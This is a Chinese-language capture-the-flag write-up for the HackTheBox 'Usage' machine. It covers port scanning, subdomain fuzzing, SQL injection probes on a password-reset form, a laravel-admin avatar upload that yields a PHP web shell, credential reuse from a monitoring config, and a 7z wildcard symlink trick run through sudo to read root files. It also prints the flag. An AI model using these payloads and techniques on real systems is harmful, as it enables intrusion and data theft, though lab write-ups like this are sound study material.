简介
靶场：hackmyvm
靶机：Usage(10.10.11.18)
难度：Easy
靶机链接:https://app.hackthebox.com/machines/Usage
攻击机1：ubuntu22.04 (10.10.16.21)
攻击机2：windows11(10.10.14.33)
扫描
nmap起手
nmap -sT --min-rate 10000 -p- 10.10.11.18/32 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.18 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:27 CST
Nmap scan report for 10.10.11.18
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds
linux靶机啊。总之从80端口开始，先把域名加入hosts，加个路由表就能上了
http
爆破子域名
ffuf -u http://10.10.11.18:80 -w $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -c -H "Host:FUZZ.usage.htb" -t 10 -fw 6
发现子域名admin。其实主界面上就能点进去……
sql注入
看看用户界面会是什么样。
emmmm，怎么说呢，至少知道是laravel框架了？
laravel几个经典RCE都打不通，试试几个点注入一下，发现在http://usage.htb/forget-password有一个报错注入，依次输入以下两句：
' ORDER BY 8;-- -
' ORDER BY 9;-- -
前一句输入网页还正常显示“没有匹配记录”，下一条直接爆500了。
直接起手sqlmap，爆出所有信息
得到密码是whatever1
getshell
收集组件版本信息，laravel本身版本太高了没啥戏，但是encore/laravel-admin是版本1.8.18，查了一下发现一个非常接近的RCE
https://flyd.uk/post/cve-2023-24249/
说到底其实就是文件漏洞，主要是管理员更换头像的功能
我们先以jpg格式正常上传一个头像
第二次则直接加上后缀.php即可
复制链接地址就能得到shell路径了
http://admin.usage.htb/uploads/images/1.jpg.php
值得一提的是，这服务器删文件真的快……连上去赶快弹个shell维权
然后在dash用户目录下找到了user.txt
提权
先把攻击机的ssh公钥写进authorized_keys，用ssh直接连上去即可
信息收集一波，发现dash开了monitrc服务，然后配置文件为.monitrc，里面存储了密码：3nc0d3d_pa$$w0rd
成功登录用户xander
sudo -l，发现可以无密码执行usage_managent
xander@usage:/tmp$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
拉下来用ida看看，发现是备份程序，其中输入1的话会备份网站
-snl: 这个选项是为了在压缩文件中存储符号链接（如果存在的话）而不是链接指向的实际文件。
-mmt: 启用多线程压缩，这可以加速压缩过程，但可能会增加压缩文件的大小。
–: 这是一个常用的命令行习惯，用于分隔命令行选项和后面的参数。这可以确保后面的内容（即使它们以 - 开头）被视为文件名，而不是命令行选项。
*: 这是一个通配符，表示当前目录下的所有文件和子目录。所以这个命令会压缩当前目录下的所有内容。
几乎可以说锁死一切可能，遇到这种情况怎么办呢？
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
然后就能通过报错泄露信息了。原理就是@root.txt把root.txt定义成目录文件，这样当7z用目录形式读取它的时候就会报错然后显示其所链接的文件的内容。
b26d9f463d705ae9bf861577e1253d55
